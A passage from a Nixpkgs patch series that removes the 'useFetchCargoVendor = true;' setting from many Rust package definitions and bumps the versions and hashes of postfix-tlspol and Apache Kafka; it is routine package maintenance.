diff --git a/pkgs/development/compilers/dart/package-source-builders/rhttp/default.nix b/pkgs/development/compilers/dart/package-source-builders/rhttp/default.nix
index 0be6f3f9f761..11c784915163 100644
--- a/pkgs/development/compilers/dart/package-source-builders/rhttp/default.nix
+++ b/pkgs/development/compilers/dart/package-source-builders/rhttp/default.nix
@@ -27,7 +27,6 @@ let
       runHook postUnpack
     '';
 
-    useFetchCargoVendor = true;
     cargoHash =
       {
         _0_9_1 = "sha256-ZVl1nesepZnmOWeJPOgE6IDCokQm5FedbA5MBvr5S8c=";
diff --git a/pkgs/development/compilers/dart/package-source-builders/super_native_extensions/default.nix b/pkgs/development/compilers/dart/package-source-builders/super_native_extensions/default.nix
index 8528855f2b10..f2f34d1336b8 100644
--- a/pkgs/development/compilers/dart/package-source-builders/super_native_extensions/default.nix
+++ b/pkgs/development/compilers/dart/package-source-builders/super_native_extensions/default.nix
@@ -19,8 +19,6 @@ let
 
     sourceRoot = "${src.name}/rust";
 
-    useFetchCargoVendor = true;
-
     cargoHash =
       rec {
         _0_9_0-dev_6 = "sha256-1yJIbBxScmkCwy/e+/z2cYA8qQBfT0yoIBmOSPVd4h4=";
diff --git a/pkgs/development/compilers/elm/packages/elm-json/default.nix b/pkgs/development/compilers/elm/packages/elm-json/default.nix
index dc1208b4239d..078905a4fd2d 100644
--- a/pkgs/development/compilers/elm/packages/elm-json/default.nix
+++ b/pkgs/development/compilers/elm/packages/elm-json/default.nix
@@ -27,7 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     openssl
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BnL//AHaSnsugtMEnSTynpMyeNt5N7L6PG2wdWDw1y4=";
 
   # Tests perform networking and therefore can't work in sandbox
diff --git a/pkgs/development/compilers/elm/packages/elm-test-rs/default.nix b/pkgs/development/compilers/elm/packages/elm-test-rs/default.nix
index 7551d4762cf4..83ee173159a0 100644
--- a/pkgs/development/compilers/elm/packages/elm-test-rs/default.nix
+++ b/pkgs/development/compilers/elm/packages/elm-test-rs/default.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ openssl ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-F3/v4zYGZRv1PRVl/Tas+e0pc/dTM6ina+/c63KVuZY=";
 
   # Tests perform networking and therefore can't work in sandbox
diff --git a/pkgs/development/interpreters/wasmer/default.nix b/pkgs/development/interpreters/wasmer/default.nix
index 5b35a8c1a011..7415fa2e2003 100644
--- a/pkgs/development/interpreters/wasmer/default.nix
+++ b/pkgs/development/interpreters/wasmer/default.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rP0qvSb9PxsTMAq0hpB+zdSTHvridyCVdukLUYxdao8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Fympp2A04viibo4U79FiBSJIeGDUWS34OOwebCks6S0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/development/lua-modules/lux-lua.nix b/pkgs/development/lua-modules/lux-lua.nix
index 998d8fb4892a..0580b9769ac2 100644
--- a/pkgs/development/lua-modules/lux-lua.nix
+++ b/pkgs/development/lua-modules/lux-lua.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
   buildNoDefaultFeatures = true;
   buildFeatures = [ luaFeature ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CWPHE+j6RDtVrnYzakKecIM5dXuHuWaWK+T9xFEdmz8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/wandb/default.nix b/pkgs/development/python-modules/wandb/default.nix
index f9b947a2de15..08a224d6d73f 100644
--- a/pkgs/development/python-modules/wandb/default.nix
+++ b/pkgs/development/python-modules/wandb/default.nix
@@ -93,7 +93,6 @@ let
 
     sourceRoot = "${src.name}/gpu_stats";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-kkWvTLduxFVIEvi4e65QQ7S0kHTRJ8XW028o430L91s=";
 
     checkFlags = [
diff --git a/pkgs/development/tools/continuous-integration/buildkite-test-collector-rust/default.nix b/pkgs/development/tools/continuous-integration/buildkite-test-collector-rust/default.nix
index 3877c2d3a3f0..fdad5d18f382 100644
--- a/pkgs/development/tools/continuous-integration/buildkite-test-collector-rust/default.nix
+++ b/pkgs/development/tools/continuous-integration/buildkite-test-collector-rust/default.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-PF2TFfzWmHXLgTopzJ04dfnzd3Sc/A6Hduffz2guxmU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jymWM0DCR6jUE1Kyhbx6HHf6YlrGu1THKTyDHaPG+Vs=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/development/tools/database/indradb/default.nix b/pkgs/development/tools/database/indradb/default.nix
index 8bb52cc135bd..148705d1217c 100644
--- a/pkgs/development/tools/database/indradb/default.nix
+++ b/pkgs/development/tools/database/indradb/default.nix
@@ -28,7 +28,6 @@ in
     version = "unstable-2021-01-05";
     inherit src meta;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-wehQU0EOSkxQatoViqBJwgu4LG7NsbKjVZvKE6SoOFs=";
 
     buildAndTestSubdir = "server";
@@ -50,7 +49,6 @@ in
     version = "unstable-2021-01-05";
     inherit src meta;
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-wehQU0EOSkxQatoViqBJwgu4LG7NsbKjVZvKE6SoOFs=";
 
     PROTOC = "${protobuf}/bin/protoc";
diff --git a/pkgs/development/tools/devpod/default.nix b/pkgs/development/tools/devpod/default.nix
index 23e4f5833ab2..550e1f8e33c4 100644
--- a/pkgs/development/tools/devpod/default.nix
+++ b/pkgs/development/tools/devpod/default.nix
@@ -90,7 +90,6 @@ let
     cargoRoot = "src-tauri";
     buildAndTestSubdir = "src-tauri";
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-BwuV5nAQcTAtdfK4+NKEt8Cj7gqnatRwHh/BYJJrIPo=";
 
     patches = [
diff --git a/pkgs/development/tools/parsing/tree-sitter/default.nix b/pkgs/development/tools/parsing/tree-sitter/default.nix
index d04d75dc90ae..8ca458085326 100644
--- a/pkgs/development/tools/parsing/tree-sitter/default.nix
+++ b/pkgs/development/tools/parsing/tree-sitter/default.nix
@@ -172,7 +172,6 @@ rustPlatform.buildRustPackage {
   pname = "tree-sitter";
   inherit src version;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rjUn8F6WSxLQGrFzK23q4ClLePSpcMN2+i7rC02Fisk=";
 
   buildInputs = [
diff --git a/pkgs/development/tools/rover/default.nix b/pkgs/development/tools/rover/default.nix
index f5c3b50f308e..2f2db1e6b724 100644
--- a/pkgs/development/tools/rover/default.nix
+++ b/pkgs/development/tools/rover/default.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-uyeePAHBDCzXzwIWrKcc9LHClwSI7DMBYod/o4LfK+Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uR5XvkHUmZzCHZITKgScmzqjLOIvbPyrih/0B1OpsAc=";
 
   buildInputs = [
diff --git a/pkgs/development/tools/rust/bindgen/unwrapped.nix b/pkgs/development/tools/rust/bindgen/unwrapped.nix
index 2009c7a3549f..f118854048c8 100644
--- a/pkgs/development/tools/rust/bindgen/unwrapped.nix
+++ b/pkgs/development/tools/rust/bindgen/unwrapped.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RL9P0dPYWLlEGgGWZuIvyULJfH+c/B+3sySVadJQS3w=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4EyDjHreFFFSGf7UoftCh6eI/8nfIP1ANlYWq0K8a3I=";
 
   buildInputs = [ (lib.getLib clang.cc) ];
diff --git a/pkgs/development/tools/rust/cargo-pgrx/default.nix b/pkgs/development/tools/rust/cargo-pgrx/default.nix
index fdcdfee56a9a..5d6d42558b20 100644
--- a/pkgs/development/tools/rust/cargo-pgrx/default.nix
+++ b/pkgs/development/tools/rust/cargo-pgrx/default.nix
@@ -24,7 +24,6 @@ let
         inherit version pname hash;
       };
 
-      useFetchCargoVendor = true;
       inherit cargoHash;
 
       nativeBuildInputs = [
diff --git a/pkgs/development/tools/rust/rustup/default.nix b/pkgs/development/tools/rust/rustup/default.nix
index 2dea909d4f86..b8782bc4a70e 100644
--- a/pkgs/development/tools/rust/rustup/default.nix
+++ b/pkgs/development/tools/rust/rustup/default.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-BehkJTEIbZHaM+ABaWN/grl9pX75lPqyBj1q1Kt273M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CQHpsOGofDqsbLLTcznu5a0MSthJgy27HjBk8AYA72s=";
 
   nativeBuildInputs = [
diff --git a/pkgs/games/blightmud/default.nix b/pkgs/games/blightmud/default.nix
index a1619ffe6563..d9fd0ade422e 100644
--- a/pkgs/games/blightmud/default.nix
+++ b/pkgs/games/blightmud/default.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9GUul5EoejcnCQqq1oX+seBtxttYIUhgcexaZk+7chk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7cMd7pNWGV5DOSCLRW5fP3L1VnDTEsZZjhVz1AQLEXM=";
 
   buildFeatures = lib.optional withTTS "tts";
diff --git a/pkgs/os-specific/linux/scx/scx_rustscheds.nix b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
index 5678a8a788ba..fc48fd7b26d4 100644
--- a/pkgs/os-specific/linux/scx/scx_rustscheds.nix
+++ b/pkgs/os-specific/linux/scx/scx_rustscheds.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
   pname = "scx_rustscheds";
   inherit (scx-common) version src;
 
-  useFetchCargoVendor = true;
   inherit (scx-common.versionInfo.scx) cargoHash;
 
   # Copy compiled headers and libs from scx.cscheds
diff --git a/pkgs/servers/monitoring/laurel/default.nix b/pkgs/servers/monitoring/laurel/default.nix
index e21072772356..65b5404b596d 100644
--- a/pkgs/servers/monitoring/laurel/default.nix
+++ b/pkgs/servers/monitoring/laurel/default.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-rOf7UtkMoYpReZr/2135QcpMEfYD80IY4zF0TwAWr4I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Pfs4Bg6VZIiiXQu0ZKcDi9zeEYl08kOnWi3R2iaQG24=";
 
   postPatch = ''
diff --git a/pkgs/servers/monitoring/prometheus/wireguard-exporter.nix b/pkgs/servers/monitoring/prometheus/wireguard-exporter.nix
index cfef58e0b151..1de40473e153 100644
--- a/pkgs/servers/monitoring/prometheus/wireguard-exporter.nix
+++ b/pkgs/servers/monitoring/prometheus/wireguard-exporter.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-2e31ZuGJvpvu7L2Lb+n6bZWpC1JhETzEzSiNaxxsAtA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PVjeCKGHiHo+OtjIxMZBBJ19Z3807R34Oyu/HYZO90U=";
 
   postPatch = ''
diff --git a/pkgs/servers/nextcloud/notify_push.nix b/pkgs/servers/nextcloud/notify_push.nix
index fb053039fb88..20d597321ea4 100644
--- a/pkgs/servers/nextcloud/notify_push.nix
+++ b/pkgs/servers/nextcloud/notify_push.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mHoVNKvE4Hszi1wg9fIHjRMJp5+CIBCgUPzreJ6Jnew=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PkRWyz4Gd2gGg9n4yChtR96QNOjEK5HNVhBwkkVjVPE=";
 
   passthru = rec {
@@ -42,7 +41,6 @@ rustPlatform.buildRustPackage rec {
 
       buildAndTestSubdir = "test_client";
 
-      useFetchCargoVendor = true;
       cargoHash = "sha256-PkRWyz4Gd2gGg9n4yChtR96QNOjEK5HNVhBwkkVjVPE=";
 
       meta = meta // {
diff --git a/pkgs/servers/nosql/influxdb/default.nix b/pkgs/servers/nosql/influxdb/default.nix
index 82bccba377f1..4c334b1d3525 100644
--- a/pkgs/servers/nosql/influxdb/default.nix
+++ b/pkgs/servers/nosql/influxdb/default.nix
@@ -43,7 +43,7 @@ let
         --replace-fail "deny(warnings, missing_docs))]" "deny(warnings))]"
     '';
     sourceRoot = "${src.name}/libflux";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-wJVvpjaBUae3FK3lQaQov4t0UEsH86tB8B8bsSFGGBU=";
     nativeBuildInputs = [ rustPlatform.bindgenHook ];
     buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/servers/nosql/influxdb2/default.nix b/pkgs/servers/nosql/influxdb2/default.nix
index 8bc1c25edac0..27cde3614634 100644
--- a/pkgs/servers/nosql/influxdb2/default.nix
+++ b/pkgs/servers/nosql/influxdb2/default.nix
@@ -59,7 +59,7 @@ let
         --replace-fail "deny(warnings, missing_docs))]" "deny(warnings))]"
     '';
     sourceRoot = "${src.name}/libflux";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-wJVvpjaBUae3FK3lQaQov4t0UEsH86tB8B8bsSFGGBU=";
     nativeBuildInputs = [ rustPlatform.bindgenHook ];
     buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/servers/polaris/default.nix b/pkgs/servers/polaris/default.nix
index b175fe411d87..6bd847dfe164 100644
--- a/pkgs/servers/polaris/default.nix
+++ b/pkgs/servers/polaris/default.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     '';
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bVXz/rSfkmdQlAa3B4zamZebpRBOkch6zNOFiyEQBbY=";
 
   # Compile-time environment variables for where to find assets needed at runtime
diff --git a/pkgs/servers/sql/postgresql/ext/pgvecto-rs/package.nix b/pkgs/servers/sql/postgresql/ext/pgvecto-rs/package.nix
index b78d948cd26b..aa7dd61bf5fb 100644
--- a/pkgs/servers/sql/postgresql/ext/pgvecto-rs/package.nix
+++ b/pkgs/servers/sql/postgresql/ext/pgvecto-rs/package.nix
@@ -53,7 +53,6 @@ in
       hash = "sha256-X7BY2Exv0xQNhsS/GA7GNvj9OeVDqVCd/k3lUkXtfgE=";
     };
 
-    useFetchCargoVendor = true;
     cargoHash = "sha256-8otJ1uqGrCmlxAqvfAL3OjhBI4I6dAu6EoajstO46Sw=";
 
     # Set appropriate version on vectors.control, otherwise it won't show up on PostgreSQL
diff --git a/pkgs/servers/sql/postgresql/ext/pgvectorscale/package.nix b/pkgs/servers/sql/postgresql/ext/pgvectorscale/package.nix
index c4e8514f7b8f..34f365f1b2be 100644
--- a/pkgs/servers/sql/postgresql/ext/pgvectorscale/package.nix
+++ b/pkgs/servers/sql/postgresql/ext/pgvectorscale/package.nix
@@ -19,7 +19,6 @@ buildPgrxExtension (finalAttrs: {
 
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CeRyDn9VhxfjWFJ1/Z/XvOUQOSnDoHHZAqgfYTeKU0o=";
   cargoPatches = [
     ./add-Cargo.lock.patch
diff --git a/pkgs/servers/sql/postgresql/ext/pgx_ulid.nix b/pkgs/servers/sql/postgresql/ext/pgx_ulid.nix
index 68fa56b77ef1..9cbb3158bd31 100644
--- a/pkgs/servers/sql/postgresql/ext/pgx_ulid.nix
+++ b/pkgs/servers/sql/postgresql/ext/pgx_ulid.nix
@@ -19,7 +19,6 @@ buildPgrxExtension (finalAttrs: {
     hash = "sha256-VdLWwkUA0sVs5Z/Lyf5oTRhcHVzPmhgnYQhIM8MWJ0c=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OyrfwLMHn2aihfijHxE5oaz+XQC1HFlYbTp8Sw8RcK0=";
 
   postInstall = ''
diff --git a/pkgs/servers/sql/postgresql/ext/timescaledb_toolkit.nix b/pkgs/servers/sql/postgresql/ext/timescaledb_toolkit.nix
index 50ec99c21712..bee9fdb76fb3 100644
--- a/pkgs/servers/sql/postgresql/ext/timescaledb_toolkit.nix
+++ b/pkgs/servers/sql/postgresql/ext/timescaledb_toolkit.nix
@@ -20,7 +20,6 @@
     hash = "sha256-gGGSNvvJprqLkVwPr7cfmGY1qEUTXMdqdvwPYIzXaTA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kyUpfNEXJ732VO6JDxU+dIoL57uWzG4Ff03/GnvsxLE=";
   buildAndTestSubdir = "extension";
 
diff --git a/pkgs/servers/web-apps/lemmy/server.nix b/pkgs/servers/web-apps/lemmy/server.nix
index f1f84ada00c4..b5272ba34ff0 100644
--- a/pkgs/servers/web-apps/lemmy/server.nix
+++ b/pkgs/servers/web-apps/lemmy/server.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     echo 'pub const VERSION: &str = "${version}";' > crates/utils/src/version.rs
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = pinData.serverCargoHash;
 
   buildInputs = [
diff --git a/pkgs/servers/web-apps/plausible/default.nix b/pkgs/servers/web-apps/plausible/default.nix
index d2df8b9ac1ab..e4affb99ee80 100644
--- a/pkgs/servers/web-apps/plausible/default.nix
+++ b/pkgs/servers/web-apps/plausible/default.nix
@@ -82,7 +82,7 @@ let
     pname = "mjml-native";
     version = "";
     src = "${mixFodDeps}/mjml/native/mjml_nif";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-zDWOik65PWAMpIDDcG+DibprPVW/k+Q83+fjFI5vWaY=";
     doCheck = false;
 
diff --git a/pkgs/shells/nushell/default.nix b/pkgs/shells/nushell/default.nix
index e5d67992f8d4..6b4d9d602937 100644
--- a/pkgs/shells/nushell/default.nix
+++ b/pkgs/shells/nushell/default.nix
@@ -37,7 +37,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-F4nHCOpbcvmdXDX5KJc9MS3hIIrtMlZR8IjDU7Us/xs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-zem4HgxO0DD22Bxvs9KN3Zb5E991svV5qcw7MfDUOq4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/shells/nushell/plugins/net.nix b/pkgs/shells/nushell/plugins/net.nix
index 17994aaaa15d..840fb1bc7dde 100644
--- a/pkgs/shells/nushell/plugins/net.nix
+++ b/pkgs/shells/nushell/plugins/net.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-HiNydU40FprxVmRRZtnXom2kFYI04mbeuGTq8+BMh7o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-tq0XqY2B7tC2ep8vH6T3nkAqxqhniqzYnhbkfB3SbHU=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
diff --git a/pkgs/tools/audio/yabridgectl/default.nix b/pkgs/tools/audio/yabridgectl/default.nix
index 82ecddd98d44..10ae17dd2979 100644
--- a/pkgs/tools/audio/yabridgectl/default.nix
+++ b/pkgs/tools/audio/yabridgectl/default.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage {
   src = yabridge.src;
   sourceRoot = "${yabridge.src.name}/tools/yabridgectl";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VcBQxKjjs9ESJrE4F1kxEp4ah3j9jiNPq/Kdz/qPvro=";
 
   patches = [
diff --git a/pkgs/tools/filesystems/garage/default.nix b/pkgs/tools/filesystems/garage/default.nix
index d7dc1e08a00c..c214247a9f95 100644
--- a/pkgs/tools/filesystems/garage/default.nix
+++ b/pkgs/tools/filesystems/garage/default.nix
@@ -37,7 +37,6 @@ let
         rm .cargo/config.toml || true
       '';
 
-      useFetchCargoVendor = true;
       inherit cargoHash cargoPatches;
 
       nativeBuildInputs = [
diff --git a/pkgs/tools/misc/fclones/default.nix b/pkgs/tools/misc/fclones/default.nix
index adc90020619d..fcd1492822c4 100644
--- a/pkgs/tools/misc/fclones/default.nix
+++ b/pkgs/tools/misc/fclones/default.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OCRfJh6vfAkL86J1GuLgfs57from3fx0NS1Bh1+/oXE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-aEjsBhm0iPysA1Wz1Ea7rtX0g/yH/rklUkYV/Elxcq8=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/tools/misc/fclones/gui.nix b/pkgs/tools/misc/fclones/gui.nix
index c68950e1848b..05eef704d9c4 100644
--- a/pkgs/tools/misc/fclones/gui.nix
+++ b/pkgs/tools/misc/fclones/gui.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ad7wyoCjSQ8i6c+4IorImqAY2Q6pwBtI2JkkbkGa46U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-01HNWhHfbun+Er39eN5tEmqXMGDsBQrZtVTA9R7kifo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/misc/nvfancontrol/default.nix b/pkgs/tools/misc/nvfancontrol/default.nix
index c35a4715936c..edcb8717d6bd 100644
--- a/pkgs/tools/misc/nvfancontrol/default.nix
+++ b/pkgs/tools/misc/nvfancontrol/default.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-0WBQSnTYVc3sNmZf/KFzznMg9AVsyaBgdx/IvG1dZAw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nJc1G9R0+o22H1KiBtzfdcIIfKrD+Dksl7HsZ2ICD7U=";
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/misc/sshx/default.nix b/pkgs/tools/misc/sshx/default.nix
index 1f3432979f5f..1aeb743ba6af 100644
--- a/pkgs/tools/misc/sshx/default.nix
+++ b/pkgs/tools/misc/sshx/default.nix
@@ -27,8 +27,6 @@ let
           cargoHash
           ;
 
-        useFetchCargoVendor = true;
-
         nativeBuildInputs = [ protobuf ];
 
         cargoBuildFlags = [
diff --git a/pkgs/tools/misc/tremor-rs/default.nix b/pkgs/tools/misc/tremor-rs/default.nix
index 94e980ae7373..58f4858ece6c 100644
--- a/pkgs/tools/misc/tremor-rs/default.nix
+++ b/pkgs/tools/misc/tremor-rs/default.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DoFqHKTu4CvgDYPT4vbwNvSZ/lNTdAF+wlHOOIBJKUw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-w/d/MMd5JNQMRUxRaH4Tpf4Dzh14eykG+zzuM/YrU40=";
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/misc/tremor-rs/ls.nix b/pkgs/tools/misc/tremor-rs/ls.nix
index 88f0db427d56..65edceba5c38 100644
--- a/pkgs/tools/misc/tremor-rs/ls.nix
+++ b/pkgs/tools/misc/tremor-rs/ls.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Hl0TY/xZaDybYjrGiRftZhFx8dns+ONuNcxzl8lBUMM=";
 
   meta = with lib; {
diff --git a/pkgs/tools/networking/bore-cli/default.nix b/pkgs/tools/networking/bore-cli/default.nix
index 0c1d01f877b7..73f6dd701d20 100644
--- a/pkgs/tools/networking/bore-cli/default.nix
+++ b/pkgs/tools/networking/bore-cli/default.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jQeSwzlMJsZz80SAb/HN4Xyazd50VIxly8K7kSOcLPU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-uaSnH3pLpgASjauNWE94cpLxeAmVPqa/VUksR12hnGM=";
 
   # tests do not find grcov path correctly
diff --git a/pkgs/tools/networking/rosenpass/default.nix b/pkgs/tools/networking/rosenpass/default.nix
index 0326f9df532d..c00a22533a1e 100644
--- a/pkgs/tools/networking/rosenpass/default.nix
+++ b/pkgs/tools/networking/rosenpass/default.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fQIeKGyTkFWUV9M1o256G4U1Os5OlVsRZu+5olEkbD4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vx6kSdDOXiIp2626yKVieDuS9DD5/wKyXutMiKMKn24=";
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/package-management/nix-index/default.nix b/pkgs/tools/package-management/nix-index/default.nix
index 3375add66a62..6ec589774219 100644
--- a/pkgs/tools/package-management/nix-index/default.nix
+++ b/pkgs/tools/package-management/nix-index/default.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-kOVmgST/D3zNOcGVu1ReuPuVrUx41iRK4rs59lqYX74=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0yrTPrxN/4TOALqpQ5GW7LXKisc8msx3DvEpg8uO+IQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/tools/security/gpg-tui/default.nix b/pkgs/tools/security/gpg-tui/default.nix
index 07d1fce67779..96ba6d2fd9e1 100644
--- a/pkgs/tools/security/gpg-tui/default.nix
+++ b/pkgs/tools/security/gpg-tui/default.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aHmLcWiDy5GMbcKi285tfBggNmGkpVAoZMm4dt8LKak=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VLBou/XNYTd8vJNT+ntShLCRy9pzjCwJlbDbfRX2ag8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/tools/text/mdcat/default.nix b/pkgs/tools/text/mdcat/default.nix
index e600f1aa06d4..c58582acda4f 100644
--- a/pkgs/tools/text/mdcat/default.nix
+++ b/pkgs/tools/text/mdcat/default.nix
@@ -32,7 +32,6 @@ rustPlatform.buildRustPackage rec {
     openssl
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8A0RLbFkh3fruZAbjJzipQvuFLchqIRovPcc6MSKdOc=";
 
   nativeCheckInputs = [ ansi2html ];

From 6b83af496a6fbcbfd87b05b8687d6c108867a0c0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 01:57:58 +0000
Subject: [PATCH 3352/4511] postfix-tlspol: 1.8.12 -> 1.8.13

(cherry picked from commit 9e8df3a7a2bd746c2f2658ca8fafe6432cc06758)
---
 pkgs/by-name/po/postfix-tlspol/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/postfix-tlspol/package.nix b/pkgs/by-name/po/postfix-tlspol/package.nix
index 6a9ccca72fa6..a007cbebc7c7 100644
--- a/pkgs/by-name/po/postfix-tlspol/package.nix
+++ b/pkgs/by-name/po/postfix-tlspol/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "postfix-tlspol";
-  version = "1.8.12";
+  version = "1.8.13";
 
   src = fetchFromGitHub {
     owner = "Zuplu";
     repo = "postfix-tlspol";
     tag = "v${version}";
-    hash = "sha256-OBGBjbLnyDKz/UK5th1k/gfxHjBGxyWQKgiXuuJNf8Q=";
+    hash = "sha256-ff+tQb3GfWYt+u7idQf/mTN8uSkkbWLfxlq+1m1gfyc=";
   };
 
   vendorHash = null;

From a5451b54616f4d4c2bf63fa6c85ddb12fb0175c1 Mon Sep 17 00:00:00 2001
From: Jonathan Davies <jpds@protonmail.com>
Date: Wed, 6 Aug 2025 18:51:37 +0000
Subject: [PATCH 3353/4511] =?UTF-8?q?apacheKafka:=203=5F9:=203.9.0=20?=
 =?UTF-8?q?=E2=86=92=203.9.1?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 1b5c7c7ee869655f2aa10a83c9b2211722f179f4)
---
 pkgs/servers/apache-kafka/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/apache-kafka/default.nix b/pkgs/servers/apache-kafka/default.nix
index 71e3e6c97e1e..86a4d8f4f592 100644
--- a/pkgs/servers/apache-kafka/default.nix
+++ b/pkgs/servers/apache-kafka/default.nix
@@ -22,9 +22,9 @@ let
       nixosTest = nixosTests.kafka.base.kafka_4_0;
     };
     "3_9" = {
-      kafkaVersion = "3.9.0";
+      kafkaVersion = "3.9.1";
       scalaVersion = "2.13";
-      sha256 = "sha256-q8REAt3xA+OPGbDktE5l2pqDG6nlj9dyUEGxqhaO6NE=";
+      sha256 = "sha256-3UOZgW5niUbKt2470WhhA1VeabyPKrhobNpxqhW8MaM=";
       jre = jdk17_headless;
       nixosTest = nixosTests.kafka.base.kafka_3_9;
     };

From 687b1be939c033a1aaa1fb7251f51f2990b75a00 Mon Sep 17 00:00:00 2001
From: Jonathan Davies <jpds@protonmail.com>
Date: Wed, 6 Aug 2025 18:54:08 +0000
Subject: [PATCH 3354/4511] =?UTF-8?q?apacheKafka:=203=5F7:=203.7.1=20?=
 =?UTF-8?q?=E2=86=92=203.7.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit fd0d2966078485ae9635eb3a9293fc4c96fd152c)
---
 pkgs/servers/apache-kafka/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/apache-kafka/default.nix b/pkgs/servers/apache-kafka/default.nix
